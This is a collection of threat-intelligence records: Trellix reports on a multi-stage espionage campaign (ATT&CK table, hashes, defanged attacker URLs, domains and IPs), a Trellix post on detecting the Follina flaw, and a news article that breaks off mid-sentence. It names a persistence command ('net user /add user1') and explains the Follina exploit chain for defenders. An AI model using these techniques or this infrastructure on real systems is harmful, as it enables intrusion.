Command and Scripting Interpreter: PowerShell | Adversaries abused PowerShell for execution of the Empire stager. | Empire Powershell stager \nPersistence | T1546.015 | Event Triggered Execution: Component Object Model Hijacking | Adversaries established persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. | CLSID: D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D \nPersistence | T1136.001 | Create Account: Local Account | Adversaries created a local account to maintain access to victim systems. | net user /add user1 \nDefense Evasion | T1620 | Reflective Code Loading | Adversaries reflectively loaded code into a process to conceal the execution of malicious payloads. | Empire DLL Launcher stager \nCommand and Control | T1104 | Multi-Stage Channels | Adversaries created multiple stages to obfuscate the command-and-control channel and to make detection more difficult. | Use of different Empire stagers \nCommand and Control | T1102.002 | Web Service: Bidirectional Communication | Adversaries used an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. | Microsoft OneDrive \nEmpire Server \nCommand and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | Adversaries employed a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. | AES 256 \nCommand and Control | T1573.002 | Encrypted Channel: Asymmetric Cryptography | Adversaries employed a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. | RSA \n \n#### Indicators of Compromise (IOCs)\n\n##### First stage \u2013 Excel Downloaders\n\n40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa \nf007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 \n7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a \n9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0 \n\n\n##### Second stage \u2013 Downloader DLL\n\n1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 \n\n\n##### Third stage \u2013 Graphite\n\n35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f \nf229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 \n\n\n##### Fourth stage \u2013 DLL Launcher Stager\n\n25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 \n\n\n##### Fifth stage \u2013 PowerShell C# Stager\n\nd5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 \n\n\n##### Sixth stage \u2013 Empire HTTP Powershell Stager\n\nda5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 \n\n\n##### URLs\n\nhxxps://wordkeyvpload[.]net/keys/Missions Budget Lb.xls \nhxxps://wordkeyvpload[.]net/keys/parliament_rew.xls \nhxxps://wordkeyvpload[.]net/keys/Missions Budget.xls \nhxxps://wordkeyvpload[.]net/keys/TR_comparison.xls \n\n\nhxxps://wordkeyvpload[.]net/keys/JjnJq3.html \nhxxps://wordkeyvpload[.]net/keys/iz7hfD.html \nhxxps://wordkeyvpload[.]net/keys/Ari2Rc.html \nhxxps://wordkeyvpload[.]net/keys/OD4cNq.html \n\n\nhxxps://wordkeyvpload[.]net/keys/0YOL4.cab \nhxxps://wordkeyvpload[.]net/keys/whmel.cab \nhxxps://wordkeyvpload[.]net/keys/UdOpQ.cab \nhxxps://wordkeyvpload[.]net/keys/D9V5E.cab \n\n\nhxxps://wordkeyvpload[.]net/keys/update.dat \n\n\nhxxps://wordkeyvpload[.]org/index.jsp \nhxxps://wordkeyvpload[.]org/index.php \nhxxps://wordkeyvpload[.]org/news.php \nhxxps://wordkeyvpload[.]org/admin/get.php \nhxxps://wordkeyvpload[.]org/login/process.php \n\n\n##### Domains\n\nwordkeyvpload[.]net \nwordkeyvpload[.]org \njimbeam[.]live \n\n\n##### IPs\n\n131.153.96[.]114 \n185.117.88[.]19 \n94.140.112[.]178 \n\n", "cvss3": {}, "published": "2022-01-25T00:00:00", "type": "trellix", "title": "Prime Minister\u2019s Office Compromised: Details of Recent Espionage Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-25T00:00:00", "id": "TRELLIX:6949BCDE9887B6759BD81365E21DD71C", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/prime-ministers-office-compromised.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-06-20T00:00:00", "description": "\n\n# Trellix Global Defenders: Defending against Cyber Espionage Campaigns \u2013 Operation Graphite\n\nBy Ben Marandel, **Arnab Roy** \u00b7 June 20, 2022\n\nCyber Espionage campaigns by nature are targeted attacks that can go undetected for prolonged periods of time. Cyber Espionage campaigns often involve adversaries with clear objectives with capabilities to avoid defenses and leverage trusted enterprise IT systems or operational weaknesses within organisations. Some of the key targets for espionage campaigns are as follows:\n\n Figure 1: Cyber Espionage Key Targets \n\n\nThe ultimate goal of most cyber espionage campaigns are data exfiltration and wide spread reconasaince.\n\n## Operation graphite introduction \n\nTrellix Advanced Threat Research team released threat research on the 25th of January 2022 which highlighted discovery of a new espionage campaign targeting high-ranking government officials Western Asia and Eastern Europe. The attack is believed to have been triggered via targeted phishing with malicious macro enabled word document used to establish the initial access. Once executed the malicious document leveraged a vulnerability in Excel (CVE2021-40444) which allows remote code execution on the impacted endpoint. Similar to other espionage campaigns their was hands on recon of the targeted organization, specifically looking for documents with specific keywords of interest. This was followed by multi-stage attack which included lateral movement to other systems of interest such as domain controllers and file servers. The following figure shows the attack progression:\n\n Figure 2: Attack Chain \n\n\nLike most multi-stage attacks a combination of exploitation techniques are observed such as use of LolBas/LolBins like Powershell and exploitation of enterprise architecture and system vulnerabilities.\n\nDuring our analysis of the overall flow of the attack and the related payloads the following attributes of the attack stood out that could be critical at detecting/preventing this threat:\n\n 1. Use of OneDrive as a command a control server as well as for storing payload configuration and staging. Their is evidence that the OneDrive Implant module of the empire framework was used by the threat actor which has been documented by the [empire framework maintainers](<https://www.bc-security.org/post/using-the-onedrive-listener-in-empire-3-1-3/>). This was used specifically to subvert network security controls and hide traffic inside legitimate applications. \n 2. Use of embedded XLS into XLSX to bypass macro execution protection added in Office Excel. The XLS file is used as a secondary payload which is exploiting the CVE-2021-40444, this is not the first file to be open by the victim. To maximize the chances of execution of the exploitable XLS document the attacker uses dynamic loading of the office ribbon and custom options in the office toolbar by using a XLSM file, this XLSM file then dynamically loads the XLS file which triggers the execution of CVE-2021-40444.\n\nBased on the observed TTP\u2019s and operational similarity Trellix Threat research team was moderately confident that this attack could be attributed to APT 28.\n\n## Defensive architecture guidance\n\nThe question is how do we protect ourselves from such attacks? At the heart of the answer is building an effective threat model for cyber espionage campaigns and then driving your defensive strategy based on \u201cthink red - act blue mindset\u201d where the threat informed layered defensive strategy drives how the security controls are configured to provide a resilient defensive architecture. Below is how the Trellix XDR solution architecture protects and detects this attack.\n\n Figure 3: Trellix Solution Architecture \n\n\nOrganizations can build an effective threat model based on adversary characteristics some of which is very well documented within the MITRE ATT&CK framework. Leveraging tools like MITRE ATT&CK navigator is one of the methods where you can combine multiple threat actor TTP\u2019s and create an effective threat model for your SOC, an example below for TTP\u2019s used by APT 28:\n\n**Common techniques used for Cyber Espionage - using ATT&CK**\n\n Figure 4: MITRE ATT&CK Navigator for APT28 \n\n\nHowever, for customers who have Trellix Insights this process is even simpler: By filtering the Profiles to APT28, you will get a complete overview of the APT28 Group activities. As an introduction the tool will give you a short description of the group and their current targeted countries / sectors. \n\n Figure 5: APT28 Group Overview from MVISION Insights \n\n\nJust after this introduction, you will get overview of the 42+ campaign currently observed by the Trellix Labs. This view also indicates which endpoints within your organization may have insufficient coverage to protect themselves. By clicking on the name of the campaign, you will pivot to the full details of the selected campaign.\n\n Figure 6: Examples of APT28 related campaigns from MVISION Insights \n\n\nThe third section of the interface, describes the MITRE Techniques of Tools used by APT28 group. Once C2 communications is established, researchers established the use of \u201cFiles and Directory Discovery \u2013 T1083\u201d technique for Discovery and \u201cData Transfer Size Limits \u2013 T1030\u201d technique for Exfiltration.\n\nThis group also uses tools such as Mimikatz to simplify Credential Access via LSASS Memory \u2013 T1003.001, Certutil to download third-party tools or X-Tunnel for Exfiltration over Asymmetric Encrypted Non-C2 Protocols \u2013 T1048.002. \n\n Figure 7: MITRE Techniques used by the APT28 Group from MVISION Insights \n\n\nAnd finally, based on all those information, the interface builds for you the powerful ATT&CK Matrix with a clear representation of the observed techniques.\n\n Figure 8: APT28 Group MITRE ATT&CK matrix from MVISION Insights \n\n\n**Endpoint Protection Actions:** Trellix Endpoint uses exploit prevention to block execution of CVE-2021-40444 as well as use behavioral threat protection via Adaptive Threat Prevention module. Specifically, Advanced Behavior Blocking (ABB) rules stop the execution of child processes from office processes thus breaking the kill chain early in the attack lifecycle. The following rules in Trellix ENS Exploit Prevention and Adaptive Threat Protection (ATP) are recommended to observe or block behavioral activity associated with exploitation techniques.\n\n**ENS Exploit Prevention Signature 6163:** T1055: Suspicious Behavior: Malicious Shell Injection Detected\n\n**ENS Exploit Prevention Signature 6115:** T1055: Fileless Threat: Reflective DLL Remote Injection\n\n**ENS ATP Rule 300:** T1566: Prevent office applications from launching child processes that can execute script commands \n\nTo complement protection capabilities, Trellix EDR solution detects and visualizes the attack chain, as illustrated bellow at the \u201cInitial Access\u201d when the victim is opening for the first time the specifically crafted XLSX file.\n\nIn this screenshot of a demo sample illustrating Office Excel, you can observe the download of the XLS file natively through an HTTPS connection, after it has opened the XLSX file.\n\n Figure 9: Excel.exe opening an XLSX file and then downloading an XLS file, captured by MVISION EDR \n\n\n**Preventing Data Exfiltration:** Preventing the attempts to exfiltrate data can defeat this type of attack at an early stage. The threat actor uses two key techniques for data exfiltration: exfiltration over existing network protocols and endpoint data reconnaissance techniques. The exfiltration over the existing network protocol leverages the Microsoft Graph API utilized by O365 suite of apps to communicate between various O365 services. The graph API has been a target of previous APT campaigns as it provides a unique insight into existing enterprise data sitting inside O365. One of the key ways this attack can be completely defeated is by ensuring users cannot login to non-sanctioned O365 tenants. This is possible by leveraging a URL content proxy that inspects the O365 instance id in the login URL of the tenant and subsequent communication. The proxy can be configured to only allow the organizational tenant id of the enterprise O365 instance and not that of other O365 tenants. This will prevent the threat actor from succeeding in establishing the initial command and control connection as well as data exfiltration. Deploying endpoint DLP is the second critical factor in preventing the data exfiltration of sensitive information leaving organizational perimeter. This includes getting visibility into endpoint processes accessing sensitive/tagged data.\n\n**Bringing Visibility into the SOC with XDR:** Detecting multi-vector telemetry requires context and correlation across multiple data sources so that the right alerts and telemetry is presented to the SOC analyst for effective triage, scoping of the threat and effective incident response.\n\n Figure 10: Example XDR Correlation with multi-vector sensor telemetry from Threat Intelligence, Endpoint, DLP \n\n\n**Integrated sandbox for malware analysis:** As part of the Trellix solution architecture, the endpoints are capable of sending files dynamically or through integrated SOAR workflows to the Trellix Detection on Demand Cloud Sandbox. A quick analysis of the XLSX document reveals that pseudo data was used entice the end user into opening the document.\n\n Figure 11: Trellix DOD Analysis \n\n\n## Summary\n\nDefeating a multi-stage cyberespionage campaign requires a multipronged defensive strategy that starts by building an effective threat model leading to prioritization and deployment of highest impact preventive controls which leads to a security model that stalls the attackers progress and delivering enterprise resilience to cyberespionage campaigns. Some of the key steps in building such resilience is as follows:\n\n Figure 12: Cyber Espionage Playbook \n\n\nFor additional details and understanding, you can view our Threat Center webinar with Trellix Solution Architects explaining how we defend against this attack [here](<https://www.mcafee.com/enterprise/en-us/forms/gated-form.html?docID=video-6305609522112&eid=P5SWSAQK>).\n", "cvss3": {}, "published": "2022-06-20T00:00:00", "type": "trellix", "title": "Trellix Global Defenders: Defending against Cyber Espionage Campaigns \u2013 Operation Graphite", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2022-06-20T00:00:00", "id": "TRELLIX:0BACBA94111E0C364A9A1CCD8BD263DE", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/defending-against-cyber-espionage-campaigns-operation-graphite.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-07-19T00:00:00", "description": "# Countering Follina Attack (CVE- 2022-30190) with Trellix Network Security Platform\u2019s Advanced Detection Features\n\nBy Vinay Kumar and Chintan Shah \u00b7 July 19, 2022\n\n## Executive summary\n\nDuring the end of May 2022, independent security researcher reported a vulnerability (assigned CVE-2022-30190) in Microsoft Support Diagnostic Tool (MSDT), which could be exploited to execute arbitrary code when MSDT is called using URI protocol. The URI protocol **ms-msdt:/** could also be invoked from the malicious word document, which when opened by the victim, would allow malicious code to execute on the target machine with the privileges of the calling application. In response to the reported vulnerability, Microsoft released [the advisory and guidance](<https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/>) on disabling the MSDT URI protocol. Subsequently, the vulnerability, was patched in the [June security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190>) released by Microsoft. Since then, this vulnerability has been found to be exploited by multiple state actors in [targeted attack campaigns](<https://www.bleepingcomputer.com/news/security/windows-msdt-zero-day-now-exploited-by-chinese-apt-hackers/>).\n\nAt Trellix, we are committed to protecting our customers from upcoming and emerging threats on the network inclusive of those that are found being exploited in the wild. Trellix Network Security Platform\u2019s (Trellix NSP) Intrusion Prevention Research Team strives to build advanced detection features , improving product\u2019s overall Threat Detection capabilities.\n\nOver the next few sections of this blog, we will highlight couple of advanced detection features in Trellix NSP, which helps in protecting the customers against this and future attacks of similar nature.\n\n## Introduction \n\nMS Word document exploiting Microsoft Support Diagnostic Tool vulnerability ( CVE- 2022-30190 ) was first found to be [submitted to VT](<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/>) on 27th May 2022 from Belarus with the file name **05-2022-0438.doc**. However, the number 0438 turns out to be the Area code of the region **Follina** in Italy and hence the name. Exploit document is not found to be connected to Italy in any way.\n\n Figure 1: Sample submission history on VirusTotal \n\n\nThere is no dearth of instances where one of the MS Office\u2019s core features, Object Linking and Embedding ( OLE ) have been abused as an initial attack vector and CVE-2022-30190 was no different. This was yet another classic example of chaining OLE with another logic flaw to achieve arbitrary code execution on the target machine. Traditionally, Object Linking and Embedding had significantly contributed to building weaponized office exploits, and we believe this will continue to happen. As with previous CVE-2021-40444 and many other exploits, OLE was found to be used for linking the document to the externally hosted object, in this case, html file. \n\n[MS Office Open XML specifications](<https://www.ecma-international.org/publications-and-standards/standards/ecma-376/>) mentions that an Office Open XML document facilitates embedding objects or link to external objects which can be specified via relationships. Any embedded or linked object specified in the container application ( OOXML document in this case ) must be identified by its unique **ProgID** string. As per the specifications, this string must be used to determine the type and the application used to load the object data. An excerpt from the document specifications is as shown below:\n\n Figure 2: Specs on Embedded objects \n\n\nAs documented in the [ISO-29500-4 specifications](<https://standards.iso.org/ittf/PubliclyAvailableStandards/c071692_ISO_IEC_29500-4_2016.zip>) ST_OLEType defines the type of the OLE object in **document.xml**, either linked or embedded and the **ProgID=\u201dhtmlfile\u201d** indicates the type of linked object data. As shown in the CVE-2022-30190 exploit document below, **document.xml.rels** file with Type attribute specifying relationship as \u201coleObject\u201d, **Target** attribute set to the OLE object link and **TargetMode** set as external. This allows the crafted document to link to the externally hosted potentially malicious object and invoke the respective protocol handlers for rendering the object which could lead to the exploitation of potential logic flaws in object renderers.\n\n Figure 3: Structure of exploit document \n\n\nAs we notice the document.xml.rels file, it contains an external reference to the malicious domain for retrieving the html file :\n\n**hxxps://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!**. Hosted html file on this domain contains script block with commented lines. This is required for making the HTML file sufficiently sized ( precisely greater than 4KB ) to be able to get it processed and rendered by mshtml.dll. \n\n Figure 4: downloaded html file from server \n\n\nSubsequently, script tries to invoke PCWDiagnostic package using MSDT URI protocol handler with multiple arguments out of which one argument is IT_BrowseForFile which can take embedded PowerShell script within $( ) as an argument , resulting into code execution. PowerShell script is Base64 encoded and decoded form is of the script is as shown below. \n\n Figure 5: Decoded PowerShell script \n\n\nAs we see in the decoded payload, the script is intended to run the malicious rgb.exe on the target system. Summarizing the sequence involved in the attack:\n\n * Malicious MS office document with linked object is delivered to the victim possibly, as a part of phishing campaign.\n * On clicking the document, malicious HTML script is rendered, leading to arbitrary code execution on the affected system. \n\nWindows system registers innumerable number of URI protocol handlers which could be potentially abused to exploit similar flaws. For instance, [search-ms](<https://docs.microsoft.com/en-us/windows/win32/search/getting-started-with-parameter-value-arguments>) URI protocol handler , used to query windows search indexing feature can be abused by the attackers to connect to the remote SMB share on the attacker-controlled server. However, it does not directly lead to code execution as it requires multiple levels of user interaction, but a query can be crafted to lure the users to execute legitimate looking executables as shown below. Both these of URI protocol attacks were first [reported here](<https://benjamin-altpeter.de/shell-openexternal-dangers/>).\n\n Figure 6: search-ms query to connect to remote location \n\n\n**How Trellix NSP protects against Follina**\n\nTrellix NSP has been one of the most advance and mature IPS in the security industry. Over a period, we developed some of the cutting-edge features to deal with complex attack scenarios which involved handling encoding, compressions, and complex file formats. **Microsoft Office Deep File Inspection** and **Multi Attack ID Correlation** being some of these. We use combination of these advance capabilities to detect entire attack cycle. In the following sections, we will try to understand how Trellix Network Security Platform\u2019s advanced inspection capabilities highlighted above can help correlate multiple low or medium severity events to detect phases in the attack cycle, thereby raising overall confidence level.\n\n**Microsoft Open Office XML(OOXML) file format**\n\nOLE File format which was traditionally used in Microsoft office is replaced with Office open xml. Office Open XML (OOXML) is a zipped, XML-based file format developed by Microsoft for representing spreadsheets, charts, presentations, and word processing documents. In a nutshell this means that the whole document is contained in a zip package. Multiple files and directories together form the document. There are directories like _[Content_Types].xml , _rels, docProps_, which are basic part of all office zip packages, and then there is a directory specific to document type _(word directory for docx, xl and ppt directory for xlsx and pptx respectively)_. For each of the document type the specific directory would contain different files limited to the type. Like in case of a docx type, the \u2018word\u2019 directory contains document.xml file which has the core content of the document. Here is a brief overview about important files under these directories: \n\n**[Content_Types].xml** \nThis file contains the MIME type information for parts of the package. It uses defaults for certain file extensions and overrides for parts specified by Internationalized Resource Identifier.\n\n**_rels** \nThis directory contains the relationship information for files within the package.\n\n**_rels/.rels** \nThis is the location where applications look first to find the package relationships.\n\n**docProps/core.xml** \nThis file contains the core properties for any Office Open XML document.\n\n**word/document.xml** \nThis file is the main part for any Word document.\n\nZip file format specification specifies that a file in the zip archive is stored in a file record structure. For each file in the zip archive, there is a corresponding entry of this structure. \n\n[local file header 1] \n[file data 1] \n[data descriptor 1] \n. \n. \n. \n[local file header n] \n[file data n] \n[data descriptor n] \n \n[archive decryption header] \n[archive extra data record] \n[central directory header 1] \n. \n. \n. \n[central directory header n] \n[zip64 end of central directory record] \n[zip64 end of central directory locator] \n[end of central directory record]\n\nThese structures are placed one after another, structure starts with local file header followed by optional Extra Data Fields and file data (optionally compressed/optionally encrypted). Local header contains details about the file data, encryption/compression mechanism along with filename, file size and few more things.\n\n**Local file header**\n\nOffset | Byte | Description \n---|---|--- \n0 | 4 | Local file header signature # 0x04034b50 (read as a little-endian number) \n4 | 2 | Version needed to extract (minimum) \n6 | 2 | General purpose bit flag \n8 | 2 | Compression method \n10 | 2 | File last modification time \n12 | 2 | File last modification date \n14 | 4 | CRC-32 \n18 | 4 | Compressed size \n22 | 4 | Uncompressed size \n26 | 2 | File name length (n) \n28 | 2 | Extra field length (m) \n30 | n | File Name \n30+n | m | Extra Field \n0 | 4 | Local file header signature # 0x04034b50 (read as a little-endian number) \n4 | 2 | Version needed to extract (minimum) \n6 | 2 | General purpose bit flag \n \n \n\n\nFor Microsoft documents, deflate compression is used commonly. In a nutshell, the files which constitutes the document are stored in possibly encrypted/compressed format inside the zip package. In the figure below, we dissect this structure for document.xml file present under word directory with a hex editor (010 editor) with zip parsing capabilities which will help us to investigate the details \u2013\n\n Figure 7: Structure for document.xml \n\n\n**Need for deep file inspection**\n\nWe have seen in the past that different vulnerabilities may require the IPS devices to examine the content of the different files present inside zip package. Same is the case with Follina. As explained earlier, this vulnerability abuses Microsoft OOXML **Object Linking and Embedding** functionality linking a file to external resource via the relationship file to load malicious content. Hence it requires the detection device to check the external references used in word/rels/document.xml.rels file. \n\n Figure 8: Structure of document.xml.rels \n\n\nSince this file is present, as a compressed entity in the zip archive, a meaningful detection with IPS cannot be done until the file is decompressed. With NSP\u2019s unique in industry capability, known as Deep File inspection, this is possible. \n\nThis is implemented using protocol parsing capability of the NSP. The local file header structure for the specific file is parsed and the compressed data of the file is decoded. This feature can be used by enabling it from the inspection option policy.\n\n Figure 9: Policy configuration to enable MS Office Deep File Inspection \n\n\n_For more details, please refer to NSP documentation_\n\n**Some of the key highlights: deep file inspection **\n\n * This feature helps to decompress the file contents inline; the complete file is not required to be downloaded for inspection \n * It also gives the flexibility to decompress only the content of a selected file (individual file present inside zip achieve), yielding better performance since the whole zip archive is not required to be decompressed .\n * The individual files (which are part of zip package) can be controllably decompressed by specifying byte limit per file. This plays a great role in improving performance while doing inline inspection.\n\nTrellix NSP Attack ID **0x452a8400 - HTTP: OLE Object Linking Detected in OOXML File** \u2013 uses the Microsoft Office Deep file inspection feature to detect signs of external object linking. However, just checking for external OLE references will not be sufficient until it is ascertained that the external URI does the malicious activity. Since we know that external URI loads the HTML which invokes the MSDT handler in a malicious fashion. \n\nInvoking MSDT through HTML content is detected by Trellix NSP Attack ID **0x452ac200 \u2013 HTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190)**\n\n**Detecting the attack chain using multi attack ID Correlation**\n\nThe attack visualization is better when the dots can be connected between different stages of the attack. Multi Attack ID Correlation capability helps achieve this by correlating multiple attacks. \n\nTrellix NSP Attack ID **0x43f02000 HTTP: Microsoft Support Diagnostic Tool RCE Vulnerability (CVE-2022-30190)** utilizes this capability and correlates \u201cHTTP: OLE Object Linking Detected in OOXML File (0x452a8400) \u201d and \u201cHTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190) (0x452ac200)\u201d to generate corelated attack event. \n\nThe alert generated using Multi AID correlation is of high confidence and severity and helps security admins to take further actions. This feature is built into Trellix NSP by default and there is no extra configuration required to enable it. \n\n**Some of the key highlights: multi attack ID Correlation **\n\n * Two or more attacks can be correlated \n * Provides capability to quarantine the attacker (configurable from the policy)\n * Correlation using attributes like \u2013 \n * source-IP/destination IP: This attribute helps correlating attack originating from same source IP and/or targeted to the same destination IP .\n * Lifetime: max time interval in which all correlation signature event should occur\n * Threshold: Detection of attack happening repeatedly in a specific period.\n\nWith these strong correlation capabilities for the complete attack cycle, Trellix Network Security Platform\u2019s Threat Detection solution balances the effectiveness and performance extremely well. The Trellix NSP research and Engineering team actively monitors and keeps an eye on emerging threat patterns ,builds the features and capabilities to enhance overall detection efficacy of the Intrusion Prevention System. \n\n## Conclusion \n\nWe have seen multiple vulnerabilities in the past using exploitation techniques similar in nature and this is yet another addition to the series. In our previous blog, outlining the current state of memory corruption vulnerabilities and the challenges faced in exploiting them, we also highlighted the exploitation strategies of the future and the **Follina** attack very well validates our prediction. While exploiting different classes of memory corruption vulnerabilities can be eliminated by introducing mitigations as either operating system or hardware level, vulnerabilities exploiting design flaws will remain a challenge. Perimeter and endpoint security solutions will have to evolve to address those challenges by introducing the innovative inspection and detection techniques alongside applying secure software design and development practices during application development. \n", "cvss3": {}, "published": "2022-07-19T00:00:00", "type": "trellix", "title": "Countering Follina Attack (CVE- 2022-30190) with Trellix Network Security Platform\u2019s Advanced Detection Features", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444", "CVE-2022-30190"], "modified": "2022-07-19T00:00:00", "id": "TRELLIX:D8DB23FAEBC16DCFBC54050BEBBF650D", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/countering-follina-attack-with-network-security-platforms-advanced-detection-features.html", "cvss": {"score": 0.0, "vector": "NONE"}}], "thn": [{"lastseen": "2022-05-30T17:38:47", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgi3RXvGtPoTC8ufDqadLbye4bhkJjWs-Un41xcwOWrqQPpLekG-pG0Xxk-or-GInK-LQOG7QDpCF3p4FVNPMxdNLSsl4TgenAVq4LOJcfYcZ0LcgQ0zlwru8TY2ff5ffd7EEPtwFERwA4hDGj0uKeJYZBw1AGUroAFwL-QXSJrDONv8gHe7E2ghPpr/s728-e100/hacking-code.jpg>)\n\nCybersecurity researchers are calling attention to a zero-day flaw in Microsoft Office that could be abused to achieve arbitrary code execution on affected Windows systems.\n\nThe vulnerability came to light after an independent cybersecurity research team known as nao_sec uncovered a Word document (\"[05-2022-0438.doc](<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection>)\") that was uploaded to VirusTotal from an IP address in Belarus.\n\n\"It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code,\" the researchers [noted](<https://twitter.com/nao_sec/status/1530196847679401984>) in a series of tweets last week.\n\nAccording to security researcher Kevin Beaumont, who dubbed the flaw \"Follina,\" the maldoc leverages Word's [remote template](<https://attack.mitre.org/techniques/T1221/>) feature to fetch an HTML file from a server, which then makes use of the \"ms-msdt://\" URI scheme to run the malicious payload.\n\nThe shortcoming has been so named because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso.\n\n[MSDT](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt>) is short for Microsoft Support Diagnostics Tool, a utility that's used to troubleshoot and collect diagnostic data for analysis by support professionals to resolve a problem.\n\n\"There's a lot going on here, but the first problem is Microsoft Word is executing the code via msdt (a support tool) even if macros are disabled,\" Beaumont [explained](<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>).\n\n\"[Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) does kick in, although if you change the document to RTF form, it runs without even opening the document (via the preview tab in Explorer) let alone Protected View,\" the researcher added.\n\nIn a standalone analysis, cybersecurity company Huntress Labs detailed the attack flow, noting the HTML file (\"RDF842l.html\") that triggers the exploit originated from a now-unreachable domain named \"xmlformats[.]com.\"\n\n\"A Rich Text Format file (.RTF) could trigger the invocation of this exploit with just the Preview Pane within Windows Explorer,\" Huntress Labs' John Hammond [said](<https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug>). \"Much like CVE-2021-40444, this extends the severity of this threat by not just 'single-click' to exploit, but potentially with a 'zero-click' trigger.\"\n\nMultiple Microsoft Office versions, including Office, Office 2016, and Office 2021, are said to be affected, although other versions are expected to be vulnerable as well.\n\nWhat's more, Richard Warren of NCC Group [managed](<https://twitter.com/buffaloverflow/status/1530866518279565312>) to demonstrate an exploit on Office Professional Pro with April 2022 patches running on an up-to-date Windows 11 machine with the preview pane enabled.\n\n\"Microsoft are going to need to patch it across all the different product offerings, and security vendors will need robust detection and blocking,\" Beaumont said. We have reached out to Microsoft for comment, and we'll update the story once we hear back.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-30T09:40:00", "type": "thn", "title": "Watch Out! Researchers Spot New Microsoft Office Zero-Day Exploit in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-30T15:44:33", "id": "THN:E7762183A6F7B3DDB942D3F1F99748F6", "href": "https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:39", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjqkUGrj098m-d_WWiB3rvM91Eu1x3fZweKFwfNSYwVrZToTWUlCh3s3UvHQIXtbPP4vPubJ_dEdC7jSX7gGkeScLCqYsa37Zuw_hFBK6g9FbzvO5nMZPrRUk6fjS1F01cduuDD_mnZ-OKnauen-xJmprSHgWH_jmx8MYUffZvp4uojtUBzm6BbCwIZ>)\n\nCybersecurity researchers on Tuesday took the wraps off a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia.\n\nThe attack is unique as it leverages Microsoft OneDrive as a command-and-control (C2) server and is split into as many as six stages to stay as hidden as possible, Trellix \u2014 a new company created following the merger of security firms McAfee Enterprise and FireEye \u2014 said in a [report](<https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html>) shared with The Hacker News.\n\n\"This type of communication allows the malware to go unnoticed in the victims' systems since it will only connect to legitimate Microsoft domains and won't show any suspicious network traffic,\" Trellix explained.\n\nFirst signs of activity associated with 